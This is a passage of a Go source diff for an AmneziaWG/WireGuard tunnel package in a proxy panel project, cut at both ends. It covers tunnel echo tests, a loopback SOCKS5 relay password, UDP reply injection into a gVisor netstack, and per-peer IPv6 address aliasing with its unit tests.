"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
clientPrivHex, serverPubHex, listenPort)
if err := clientDev.IpcSet(clientConf); err != nil {
t.Fatalf("client IpcSet: %v", err)
}
if err := clientDev.Up(); err != nil {
t.Fatalf("client Up: %v", err)
}
const tcpMsg = "hello via Manager.Ensure's automatic relay wiring"
dialDeadline := time.Now().Add(10 * time.Second)
var conn net.Conn
for {
c, dialErr := clientNet.DialContext(t.Context(), "tcp", tcpEchoAddr.String())
if dialErr == nil {
conn = c
break
}
if time.Now().After(dialDeadline) {
t.Fatalf("client TCP dial via tunnel never succeeded: %v", dialErr)
}
time.Sleep(150 * time.Millisecond)
}
defer conn.Close()
if _, err := conn.Write([]byte(tcpMsg)); err != nil {
t.Fatalf("client TCP write: %v", err)
}
buf := make([]byte, len(tcpMsg))
if _, err := readFull(conn, buf, 10*time.Second); err != nil {
t.Fatalf("client TCP read: %v", err)
}
if string(buf) != tcpMsg {
t.Errorf("TCP echo = %q, want %q", buf, tcpMsg)
}
_ = cmd.Process.Kill()
_, _ = cmd.Process.Wait()
log := xrayLog.String()
wantUp := fmt.Sprintf("user>>>%s>>>traffic>>>uplink", wantEmail)
if !strings.Contains(log, wantUp) {
t.Errorf("xray log missing uplink stats counter %q (Manager.Ensure's automatic relay wiring may not be attributing traffic correctly)\nfull log:\n%s", wantUp, log)
}
}
// firstNonLoopbackIPv4 finds a real, locally-bound IPv4 address suitable as
// a relay-reachable test destination.
func firstNonLoopbackIPv4() (netip.Addr, bool) {
addrs, err := net.InterfaceAddrs()
if err != nil {
return netip.Addr{}, false
}
for _, a := range addrs {
ipNet, ok := a.(*net.IPNet)
if !ok || ipNet.IP.IsLoopback() {
continue
}
if v4 := ipNet.IP.To4(); v4 != nil {
addr, ok := netip.AddrFromSlice(v4)
if ok {
return addr, true
}
}
}
return netip.Addr{}, false
}
func startTCPEcho(t *testing.T, addr netip.Addr) (io interface{ Close() error }, ap netip.AddrPort) {
t.Helper()
ln, err := net.Listen("tcp", net.JoinHostPort(addr.String(), "0"))
if err != nil {
t.Fatalf("start TCP echo listener: %v", err)
}
go func() {
for {
c, err := ln.Accept()
if err != nil {
return
}
go func() {
defer c.Close()
buf := make([]byte, 4096)
for {
n, err := c.Read(buf)
if n > 0 {
if _, werr := c.Write(buf[:n]); werr != nil {
return
}
}
if err != nil {
return
}
}
}()
}
}()
port := ln.Addr().(*net.TCPAddr).Port
return ln, netip.AddrPortFrom(addr, uint16(port))
}
func startUDPEcho(t *testing.T, addr netip.Addr) (io interface{ Close() error }, ap netip.AddrPort) {
t.Helper()
pc, err := net.ListenPacket("udp", net.JoinHostPort(addr.String(), "0"))
if err != nil {
t.Fatalf("start UDP echo listener: %v", err)
}
go func() {
buf := make([]byte, 4096)
for {
n, raddr, err := pc.ReadFrom(buf)
if err != nil {
return
}
if _, err := pc.WriteTo(buf[:n], raddr); err != nil {
return
}
}
}()
port := pc.LocalAddr().(*net.UDPAddr).Port
return pc, netip.AddrPortFrom(addr, uint16(port))
}
// readFull reads exactly len(buf) bytes or fails after timeout, since
// gonet.TCPConn (and net.Conn generally) may return short reads.
func readFull(r interface{ Read([]byte) (int, error) }, buf []byte, timeout time.Duration) (int, error) {
deadline := time.Now().Add(timeout)
total := 0
for total < len(buf) {
if time.Now().After(deadline) {
return total, fmt.Errorf("timed out after reading %d/%d bytes", total, len(buf))
}
n, err := r.Read(buf[total:])
total += n
if err != nil {
return total, err
}
}
return total, nil
}
// syncBuffer is a concurrency-safe bytes buffer for capturing a subprocess's
// combined stdout/stderr while the test may read it from another goroutine.
type syncBuffer struct {
mu sync.Mutex
buf strings.Builder
}
func (s *syncBuffer) Write(p []byte) (int, error) {
s.mu.Lock()
defer s.mu.Unlock()
return s.buf.Write(p)
}
func (s *syncBuffer) String() string {
s.mu.Lock()
defer s.mu.Unlock()
return s.buf.String()
}
func freePort(t *testing.T) int {
t.Helper()
l, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
defer l.Close()
return l.Addr().(*net.TCPAddr).Port
}
func waitForPort(t *testing.T, port int) {
t.Helper()
deadline := time.Now().Add(15 * time.Second)
addr := fmt.Sprintf("127.0.0.1:%d", port)
for time.Now().Before(deadline) {
conn, err := net.DialTimeout("tcp", addr, time.Second)
if err == nil {
conn.Close()
return
}
time.Sleep(200 * time.Millisecond)
}
t.Fatalf("xray port %d did not open in time", port)
}
+49
View File
@@ -0,0 +1,49 @@
package amneziawgnet
import (
"crypto/rand"
"encoding/base64"
"fmt"
"sync"
)
// SOCKSBasePort is the first loopback port used for an AmneziaWG inbound's
// own Xray SOCKS5 relay inbound (see relay.go/SocksInboundSettings).
const SOCKSBasePort = 65100
// SOCKSPortForInbound derives one inbound's loopback SOCKS5 relay port from
// its id, so config generation and the dialing relay never need to negotiate.
func SOCKSPortForInbound(inboundID int) int {
return SOCKSBasePort + inboundID
}
var (
socksPasswordOnce sync.Once
socksPassword string
)
// SocksPassword returns the process-wide password used to authenticate into
// every AmneziaWG SOCKS5 relay inbound, generating and caching it once
// (lazily, on first use) rather than persisting it anywhere: this traffic
// never leaves loopback, both the config generator (SocksInboundSettings'
// caller) and the relay dialer (SocksRelay/UDPRelay) live in this same
// process, and Xray's own generated config is already rebuilt from scratch
// on every reconcile -- there is nothing for a stored value to survive
// across that a fresh one wouldn't equally satisfy. Not a real secret (see
// SocksRelay's own doc comment); this only needs to be unpredictable enough
// that nothing outside this process could plausibly guess it and dial in
// over loopback.
func SocksPassword() string {
socksPasswordOnce.Do(func() {
var b [24]byte
if _, err := rand.Read(b[:]); err != nil {
// crypto/rand failing is effectively unrecoverable for a
// process that generates real WireGuard keys elsewhere too;
// a fixed fallback keeps this from panicking outright.
socksPassword = fmt.Sprintf("amneziawgnet-fallback-%x", b)
return
}
socksPassword = base64.RawURLEncoding.EncodeToString(b[:])
})
return socksPassword
}
+100
View File
@@ -0,0 +1,100 @@
package amneziawgnet
import (
"fmt"
"net/netip"
"gvisor.dev/gvisor/pkg/buffer"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/checksum"
"gvisor.dev/gvisor/pkg/tcpip/header"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
)
// UDPHandler is called for every UDP packet a tunnel client sends, with its
// source (the peer's tunnel-internal address) and its real,
// dynamically-arbitrary destination -- recovered the same way the TCP
// forwarder recovers its destination, from the packet's own transport
// endpoint ID, never from a preconfigured table. The handler owns all flow
// tracking and reply delivery (via WriteUDPReply): gVisor has no
// udp.NewForwarder the way it does for TCP, so unlike AttachTCPForwarder
// this can't just hand back a ready net.Conn.
type UDPHandler func(src, dst netip.AddrPort, payload []byte)
// AttachUDPHandler attaches a raw UDP handler to gstack, independently
// enabling the same promiscuous+spoofing mode AttachTCPForwarder needs --
// safe and idempotent to call regardless of whether AttachTCPForwarder was
// attached to the same stack first, or at all. Adapted from xtls/xray-core's
// proxy/wireguard/tun.go UDP path (MIT), which hand-tracks flows for the
// identical reason: gVisor doesn't provide a UDP forwarder.
func AttachUDPHandler(gstack *stack.Stack, handler UDPHandler) {
enablePromiscuousRouting(gstack)
gstack.SetTransportProtocolHandler(udp.ProtocolNumber, func(id stack.TransportEndpointID, pkt *stack.PacketBuffer) bool {
data := pkt.Clone().Data().AsRange().ToSlice()
src := netip.AddrPortFrom(addrFromTcpip(id.RemoteAddress), id.RemotePort)
dst := netip.AddrPortFrom(addrFromTcpip(id.LocalAddress), id.LocalPort)
handler(src, dst, data)
return true
})
}
// WriteUDPReply injects a UDP packet into gstack as if it arrived from
// `from` addressed to `to` -- i.e. a reply travelling back into the tunnel
// toward the client -- constructed by hand since gVisor exposes no
// connected-socket-style Write for an address the stack doesn't itself own.
func WriteUDPReply(gstack *stack.Stack, from, to netip.AddrPort, payload []byte) error {
udpLen := header.UDPMinimumSize + len(payload)
srcIP := tcpip.AddrFromSlice(from.Addr().AsSlice())
dstIP := tcpip.AddrFromSlice(to.Addr().AsSlice())
isIPv4 := from.Addr().Is4()
ipHdrSize := header.IPv6MinimumSize
ipProtocol := header.IPv6ProtocolNumber
if isIPv4 {
ipHdrSize = header.IPv4MinimumSize
ipProtocol = header.IPv4ProtocolNumber
}
pkt := stack.NewPacketBuffer(stack.PacketBufferOptions{
ReserveHeaderBytes: ipHdrSize + header.UDPMinimumSize,
Payload: buffer.MakeWithData(payload),
})
defer pkt.DecRef()
udpHdr := header.UDP(pkt.TransportHeader().Push(header.UDPMinimumSize))
udpHdr.Encode(&header.UDPFields{
SrcPort: from.Port(),
DstPort: to.Port(),
Length: uint16(udpLen),
})
xsum := header.PseudoHeaderChecksum(header.UDPProtocolNumber, srcIP, dstIP, uint16(udpLen))
udpHdr.SetChecksum(^udpHdr.CalculateChecksum(checksum.Checksum(payload, xsum)))
if isIPv4 {
ipHdr := header.IPv4(pkt.NetworkHeader().Push(header.IPv4MinimumSize))
ipHdr.Encode(&header.IPv4Fields{
TotalLength: uint16(header.IPv4MinimumSize + udpLen),
TTL: 64,
Protocol: uint8(header.UDPProtocolNumber),
SrcAddr: srcIP,
DstAddr: dstIP,
})
ipHdr.SetChecksum(^ipHdr.CalculateChecksum())
} else {
ipHdr := header.IPv6(pkt.NetworkHeader().Push(header.IPv6MinimumSize))
ipHdr.Encode(&header.IPv6Fields{
PayloadLength: uint16(udpLen),
TransportProtocol: header.UDPProtocolNumber,
HopLimit: 64,
SrcAddr: srcIP,
DstAddr: dstIP,
})
}
if tcpipErr := gstack.WriteRawPacket(1, ipProtocol, buffer.MakeWithView(pkt.ToView())); tcpipErr != nil {
return fmt.Errorf("amneziawgnet: WriteRawPacket: %s", tcpipErr)
}
return nil
}
+156
View File
@@ -0,0 +1,156 @@
package amneziawgnet
import (
"fmt"
"net/netip"
"testing"
"time"
awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
"github.com/amnezia-vpn/amneziawg-go/v3/device"
"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
// TestNewDeviceUDPHandlerAndReply is the UDP counterpart of
// TestNewDeviceHandshakeForwarderAndIdentity: this package's own udp.go was
// refactored from the Phase 0 spike's bake-the-dial-in version to a generic
// handler-plus-reply-injection design (see AttachUDPHandler/WriteUDPReply's
// doc comments), a real behavior change worth its own verification rather
// than assuming the port preserved correctness -- UDP was flagged as "the
// harder half" in the migration plan's own risk list, precisely because
// gVisor has no udp.NewForwarder and the reply path has to be constructed
// by hand.
func TestNewDeviceUDPHandlerAndReply(t *testing.T) {
serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate client keypair: %v", err)
}
const listenPort = 58713 // distinct from the TCP test's port
const wantEmail = "udp-test-peer@example.com"
const echoPayload = "hello-from-client"
inst := amneziawg.Instance{
Id: 2,
InterfaceName: "awgtest2",
ListenPort: listenPort,
PrivateKey: serverPriv,
PublicKey: serverPub,
Address: []string{"10.202.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
Peers: []amneziawg.Peer{{
Email: wantEmail,
PublicKey: clientPub,
AllowedIPs: []string{"10.202.0.2/32"},
}},
}
dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
if err != nil {
t.Fatalf("newUnconfiguredDevice: %v", err)
}
defer dev.Close()
idx := NewPeerIndex(inst.Peers)
// Never configured anywhere server-side, same idea as the TCP test.
wantDest := netip.MustParseAddrPort("10.202.9.9:5353")
identityErrCh := make(chan error, 8)
AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
if peer, ok := idx.Lookup(src.Addr()); !ok || peer.Email != wantEmail {
identityErrCh <- fmt.Errorf("peer identity lookup for src %v: ok=%v email=%q, want %q", src, ok, peer.Email, wantEmail)
return
}
if dst != wantDest {
identityErrCh <- fmt.Errorf("recovered dest = %v, want %v", dst, wantDest)
return
}
// Echo the payload back, posing as a reply from the destination the
// client dialed -- exactly what a real relay's downstream reply
// would look like from the tunnel's point of view.
if err := WriteUDPReply(dev.Stack, dst, src, payload); err != nil {
identityErrCh <- fmt.Errorf("WriteUDPReply: %w", err)
}
})
// Configure (IpcSet) must come after AttachUDPHandler -- see
// newUnconfiguredDevice's doc comment.
if err := dev.Configure(inst, DeviceOptions{}); err != nil {
t.Fatalf("Configure: %v", err)
}
clientTun, clientNet, err := netstack.CreateNetTUN(
[]netip.Addr{netip.MustParseAddr("10.202.0.2")},
[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
if err != nil {
t.Fatalf("client CreateNetTUN: %v", err)
}
clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
defer clientDev.Close()
clientPrivHex, err := wireguard.KeyToHex(clientPriv)
if err != nil {
t.Fatalf("client key to hex: %v", err)
}
serverPubHex, err := wireguard.KeyToHex(serverPub)
if err != nil {
t.Fatalf("server key to hex: %v", err)
}
clientConf := fmt.Sprintf(
"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
clientPrivHex, serverPubHex, listenPort)
if err := clientDev.IpcSet(clientConf); err != nil {
t.Fatalf("client IpcSet: %v", err)
}
if err := clientDev.Up(); err != nil {
t.Fatalf("client Up: %v", err)
}
conn, err := clientNet.DialUDPAddrPort(netip.AddrPort{}, wantDest)
if err != nil {
t.Fatalf("client DialUDPAddrPort: %v", err)
}
defer conn.Close()
deadline := time.Now().Add(5 * time.Second)
var buf [256]byte
for {
select {
case err := <-identityErrCh:
t.Fatal(err)
default:
}
_ = conn.SetWriteDeadline(time.Now().Add(200 * time.Millisecond))
if _, err := conn.Write([]byte(echoPayload)); err != nil {
if time.Now().After(deadline) {
t.Fatalf("client write never succeeded: %v", err)
}
continue
}
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
n, err := conn.Read(buf[:])
if err != nil {
if time.Now().After(deadline) {
t.Fatalf("client never received a reply: %v", err)
}
continue
}
if got := string(buf[:n]); got != echoPayload {
t.Fatalf("echoed payload = %q, want %q", got, echoPayload)
}
return
}
}
+165
View File
@@ -0,0 +1,165 @@
// Phase 3.5: restoring each opted-in peer's distinct public IPv6 source
// identity for peer-initiated outbound connections. The retired
// kernel-module architecture used NDP-proxying (ip -6 neigh add proxy) to
// hand inbound traffic off to a real awg<N> kernel interface — this path has
// no such interface at all (the tunnel lives entirely inside an in-process
// gVisor netstack), so there is nothing for NDP-proxying to forward into.
// Scoped to what this path actually needs — a peer's own outbound
// connections carrying a distinct source address, not unsolicited inbound
// connections toward the peer (that's the separate, not-yet-built Phase
// 3.6 port-forwarding) — a host-owned address alias is sufficient and
// simpler: once the kernel genuinely owns the address, Xray's freedom
// outbound can bind an egress socket to it, and return traffic lands on a
// normal, locally-owned address with no forwarding or NDP-proxy involved.
package amneziawgnet
import (
"bytes"
"context"
"os/exec"
"strings"
"time"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
)
// v6Alias is one host-owned IPv6 address alias this package manages, always
// applied as a /128 regardless of whatever prefix width the peer's own
// AllowedIPs entry happens to use.
type v6Alias struct {
Addr string
Iface string
}
// effectiveIPv6ExternalInterface returns IPv6ExternalInterface if the admin
// set one, falling back to ExternalInterface — matches the frontend's own
// ipv6ExternalInterfaceHint copy ("Leave empty to reuse External
// Interface") and the retired kernel-module PostUp's identical fallback.
func effectiveIPv6ExternalInterface(inst amneziawg.Instance) string {
if inst.IPv6ExternalInterface != "" {
return inst.IPv6ExternalInterface
}
return inst.ExternalInterface
}
// V6AliasesActive reports whether inst is fully configured for per-peer IPv6
// identity. The Xray-side v6 egress injector must use this exact gate too —
// see xray.go's injectAmneziawgV6Egress — so the two halves can't diverge.
func V6AliasesActive(inst amneziawg.Instance) bool {
return inst.IPv6Enabled && effectiveIPv6ExternalInterface(inst) != ""
}
// desiredV6Aliases returns the aliases inst wants right now, keyed by peer
// email. Empty whenever inst isn't fully configured for this feature
// (IPv6Enabled false, or no usable interface either way) — deliberately
// what makes "IPv6 toggled off" fall out of diffV6Aliases for free, rather
// than a separate branch anywhere else.
func desiredV6Aliases(inst amneziawg.Instance) map[string]v6Alias {
out := map[string]v6Alias{}
if !V6AliasesActive(inst) {
return out
}
iface := effectiveIPv6ExternalInterface(inst)
for _, p := range inst.Peers {
if p.Email == "" {
continue
}
if addr := amneziawg.FirstIPv6(p.AllowedIPs); addr != "" {
out[p.Email] = v6Alias{Addr: addr, Iface: iface}
}
}
return out
}
// diffV6Aliases returns the ip -6 addr add/del calls needed to move the
// host from oldInst's alias set to newInst's. Pass amneziawg.Instance{} as
// oldInst for "nothing was aliased before" (a brand new instance) and as
// newInst for "tear down entirely" (Remove/StopAll/Reconcile's stop-loop).
// A peer whose alias is unchanged appears in neither slice — the common
// case on every steady-state reconcile tick, so a healthy system issues no
// exec calls at all most of the time.
func diffV6Aliases(oldInst, newInst amneziawg.Instance) (add, remove []v6Alias) {
oldSet, newSet := desiredV6Aliases(oldInst), desiredV6Aliases(newInst)
for email, oldAlias := range oldSet {
if newAlias, ok := newSet[email]; ok && newAlias == oldAlias {
continue
}
remove = append(remove, oldAlias)
}
for email, newAlias := range newSet {
if oldAlias, ok := oldSet[email]; ok && oldAlias == newAlias {
continue
}
add = append(add, newAlias)
}
return add, remove
}
// runIP is the seam tests swap to assert exact invocations without a real
// ip binary — this package has no internal/database dependency, so
// everything except this var's real invocation builds and unit-tests fine
// even on a non-Linux dev machine; the real command is verified manually
// against a Linux VPS, matching this project's established verification
// pattern for other OS-effecting AmneziaWG changes.
var runIP = func(ctx context.Context, args ...string) (stderr string, err error) {
cmd := exec.CommandContext(ctx, "ip", args...)
var buf bytes.Buffer
cmd.Stderr = &buf
err = cmd.Run()
return buf.String(), err
}
const ipCommandTimeout = 3 * time.Second
// applyV6Aliases runs every add before any remove, so a peer whose address
// changed is never briefly unaliased (briefly having both old and new
// aliased at once is harmless). Never surfaces an error — an alias failing
// only narrows that one peer's own outbound-source-identity feature, never
// a reason to fail the tunnel or its SOCKS5 relay.
func applyV6Aliases(add, remove []v6Alias) {
for _, a := range add {
addV6Alias(a)
}
for _, a := range remove {
removeV6Alias(a)
}
}
func addV6Alias(a v6Alias) {
ctx, cancel := context.WithTimeout(context.Background(), ipCommandTimeout)
defer cancel()
// nodad: this address is a specific peer's own admin-assigned identity,
// nothing else on the link should ever claim it, so the ~1s Duplicate
// Address Detection window before the kernel would otherwise mark it
// usable is pure latency with no real collision to detect.
stderr, err := runIP(ctx, "-6", "addr", "add", a.Addr+"/128", "dev", a.Iface, "nodad")
if err == nil {
logger.Infof("amneziawgnet: aliased IPv6 address %s onto %s", a.Addr, a.Iface)
return
}
if strings.Contains(stderr, "File exists") {
// Already the desired end state -- most commonly hit once, harmlessly,
// right after an ungraceful panel restart (the OS-level alias from
// before the crash outlives the process; the in-memory managed map
// doesn't).
return
}
logger.Warningf("amneziawgnet: alias IPv6 address %s onto %s: %v (%s)", a.Addr, a.Iface, err, strings.TrimSpace(stderr))
}
func removeV6Alias(a v6Alias) {
ctx, cancel := context.WithTimeout(context.Background(), ipCommandTimeout)
defer cancel()
stderr, err := runIP(ctx, "-6", "addr", "del", a.Addr+"/128", "dev", a.Iface)
if err == nil {
logger.Infof("amneziawgnet: removed IPv6 alias %s from %s", a.Addr, a.Iface)
return
}
if strings.Contains(stderr, "Cannot assign requested address") || strings.Contains(stderr, "Cannot find device") {
// Already gone (the address itself, or the whole interface) -- for a
// delete, the desired end state ("not aliased here") already holds.
return
}
logger.Warningf("amneziawgnet: remove IPv6 alias %s from %s: %v (%s)", a.Addr, a.Iface, err, strings.TrimSpace(stderr))
}
+277
View File
@@ -0,0 +1,277 @@
package amneziawgnet
import (
"context"
"errors"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
)
func peerWithIPs(email string, ips ...string) amneziawg.Peer {
return amneziawg.Peer{Email: email, PublicKey: "pub-" + email, AllowedIPs: ips}
}
func instV6(enabled bool, extIface, v6ExtIface string, peers ...amneziawg.Peer) amneziawg.Instance {
return amneziawg.Instance{
Id: 1,
IPv6Enabled: enabled,
ExternalInterface: extIface,
IPv6ExternalInterface: v6ExtIface,
Peers: peers,
}
}
func TestV6AliasesActive(t *testing.T) {
cases := []struct {
name string
inst amneziawg.Instance
want bool
}{
{"enabled with interface", instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128")), true},
{"enabled, IPv6ExternalInterface only", instV6(true, "", "eth1", peerWithIPs("a@x", "fd86::2/128")), true},
{"disabled", instV6(false, "eth0", "", peerWithIPs("a@x", "fd86::2/128")), false},
{"enabled, no interface either way", instV6(true, "", "", peerWithIPs("a@x", "fd86::2/128")), false},
}
for _, c := range cases {
if got := V6AliasesActive(c.inst); got != c.want {
t.Errorf("%s: V6AliasesActive = %v, want %v", c.name, got, c.want)
}
}
}
func TestDesiredV6AliasesDisabledOrNoInterfaceReturnsEmpty(t *testing.T) {
cases := []struct {
name string
inst amneziawg.Instance
}{
{"IPv6Enabled false", instV6(false, "", "eth0", peerWithIPs("a@x", "fd86::2/128"))},
{"no interface either way", instV6(true, "", "", peerWithIPs("a@x", "fd86::2/128"))},
}
for _, c := range cases {
if got := desiredV6Aliases(c.inst); len(got) != 0 {
t.Errorf("%s: desiredV6Aliases = %v, want empty", c.name, got)
}
}
}
func TestDesiredV6AliasesFallsBackToExternalInterface(t *testing.T) {
inst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
got := desiredV6Aliases(inst)
if got["a@x"].Iface != "eth0" {
t.Fatalf("expected fallback to ExternalInterface eth0, got %+v", got)
}
inst2 := instV6(true, "eth0", "eth1", peerWithIPs("a@x", "fd86::2/128"))
got2 := desiredV6Aliases(inst2)
if got2["a@x"].Iface != "eth1" {
t.Fatalf("expected IPv6ExternalInterface eth1 to win over ExternalInterface, got %+v", got2)
}
}
func TestDesiredV6AliasesSkipsPeersWithoutEmailOrV6Address(t *testing.T) {
inst := instV6(true, "eth0", "",
peerWithIPs("", "fd86::2/128"), // no email
peerWithIPs("b@x", "10.8.1.2/32"), // v4 only, no v6
peerWithIPs("c@x", "fd86::3/128"), // qualifies
)
got := desiredV6Aliases(inst)
if len(got) != 1 {
t.Fatalf("desiredV6Aliases = %+v, want exactly one entry (c@x)", got)
}
if _, ok := got["c@x"]; !ok {
t.Fatalf("desiredV6Aliases = %+v, want c@x present", got)
}
}
func TestDiffV6AliasesNoOpWhenUnchanged(t *testing.T) {
inst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
add, remove := diffV6Aliases(inst, inst)
if len(add) != 0 || len(remove) != 0 {
t.Fatalf("expected no-op for an unchanged instance, got add=%v remove=%v", add, remove)
}
}
func TestDiffV6AliasesBrandNewInstanceIsAddOnly(t *testing.T) {
newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
add, remove := diffV6Aliases(amneziawg.Instance{}, newInst)
if len(remove) != 0 {
t.Fatalf("expected no removals for a brand new instance, got %v", remove)
}
if len(add) != 2 {
t.Fatalf("expected both peers added, got %v", add)
}
}
func TestDiffV6AliasesTornDownInstanceIsRemoveOnly(t *testing.T) {
oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
add, remove := diffV6Aliases(oldInst, amneziawg.Instance{})
if len(add) != 0 {
t.Fatalf("expected no adds when tearing down, got %v", add)
}
if len(remove) != 2 {
t.Fatalf("expected both peers removed, got %v", remove)
}
}
func TestDiffV6AliasesIPv6EnabledToggledOffRemovesAllAddsNone(t *testing.T) {
oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
newInst := instV6(false, "eth0", "", peerWithIPs("a@x", "fd86::2/128")) // same peers, feature disabled
add, remove := diffV6Aliases(oldInst, newInst)
if len(add) != 0 {
t.Fatalf("expected no adds when IPv6Enabled is toggled off, got %v", add)
}
if len(remove) != 1 {
t.Fatalf("expected the previously-aliased peer removed, got %v", remove)
}
}
func TestDiffV6AliasesAddressChangeForSamePeerIsRemoveOldAddNew(t *testing.T) {
oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::99/128"))
add, remove := diffV6Aliases(oldInst, newInst)
if len(add) != 1 || add[0].Addr != "fd86::99" {
t.Fatalf("expected new address added, got %v", add)
}
if len(remove) != 1 || remove[0].Addr != "fd86::2" {
t.Fatalf("expected old address removed, got %v", remove)
}
}
func TestDiffV6AliasesInterfaceChangeReAliasesUnchangedPeers(t *testing.T) {
oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
newInst := instV6(true, "eth1", "", peerWithIPs("a@x", "fd86::2/128")) // same address, interface moved
add, remove := diffV6Aliases(oldInst, newInst)
if len(add) != 1 || add[0].Iface != "eth1" {
t.Fatalf("expected re-add on the new interface, got %v", add)
}
if len(remove) != 1 || remove[0].Iface != "eth0" {
t.Fatalf("expected removal from the old interface, got %v", remove)
}
}
func TestDiffV6AliasesPeerRemovedFromInstanceIsRemoveOnly(t *testing.T) {
oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128")) // b@x removed
add, remove := diffV6Aliases(oldInst, newInst)
if len(add) != 0 {
t.Fatalf("expected no adds, got %v", add)
}
if len(remove) != 1 || remove[0].Addr != "fd86::3" {
t.Fatalf("expected only b@x's address removed, got %v", remove)
}
}
// --- exec-layer tests: swap runIP, never invoke a real ip binary ---
func withFakeRunIP(t *testing.T, fn func(ctx context.Context, args ...string) (string, error)) *[][]string {
t.Helper()
var calls [][]string
orig := runIP
runIP = func(ctx context.Context, args ...string) (string, error) {
calls = append(calls, append([]string(nil), args...))
return fn(ctx, args...)
}
t.Cleanup(func() { runIP = orig })
return &calls
}
func TestAddV6AliasPassesExpectedArgs(t *testing.T) {
calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
return "", nil
})
addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
if len(*calls) != 1 {
t.Fatalf("expected exactly one runIP call, got %d", len(*calls))
}
want := []string{"-6", "addr", "add", "fd86::2/128", "dev", "eth0", "nodad"}
got := (*calls)[0]
if len(got) != len(want) {
t.Fatalf("args = %v, want %v", got, want)
}
for i := range want {
if got[i] != want[i] {
t.Fatalf("args = %v, want %v", got, want)
}
}
}
func TestAddV6AliasFileExistsIsSwallowed(t *testing.T) {
withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
return "RTNETLINK answers: File exists", errors.New("exit status 2")
})
// Must not panic and must return normally -- there is nothing else to
// assert on since addV6Alias has no return value, matching this
// codebase's existing best-effort exec-call conventions (no test in
// this repo asserts on logger output for a swallowed vs. warned
// classification; see internal/web/service/server.go's own untested
// exec.CommandContext call sites).
addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
}
func TestAddV6AliasOtherFailureDoesNotPanic(t *testing.T) {
withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
return "RTNETLINK answers: Cannot find device \"eth9\"", errors.New("exit status 1")
})
addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth9"})
}
func TestRemoveV6AliasPassesExpectedArgs(t *testing.T) {
calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
return "", nil
})
removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
want := []string{"-6", "addr", "del", "fd86::2/128", "dev", "eth0"}
got := (*calls)[0]
if len(got) != len(want) {
t.Fatalf("args = %v, want %v", got, want)
}
for i := range want {
if got[i] != want[i] {
t.Fatalf("args = %v, want %v", got, want)
}
}
}
func TestRemoveV6AliasAddressAlreadyGoneIsSwallowed(t *testing.T) {
withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
return "RTNETLINK answers: Cannot assign requested address", errors.New("exit status 2")
})
removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
}
func TestRemoveV6AliasDeviceAlreadyGoneIsSwallowed(t *testing.T) {
withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
return "Cannot find device \"eth0\"", errors.New("exit status 1")
})
removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
}
func TestRemoveV6AliasOtherFailureDoesNotPanic(t *testing.T) {
withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
return "some unrelated failure", errors.New("exit status 1")
})
removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
}
func TestApplyV6AliasesAddsBeforeRemoves(t *testing.T) {
var order []string
calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
if args[2] == "add" {
order = append(order, "add")
} else {
order = append(order, "del")
}
return "", nil
})
applyV6Aliases(
[]v6Alias{{Addr: "fd86::99", Iface: "eth0"}},
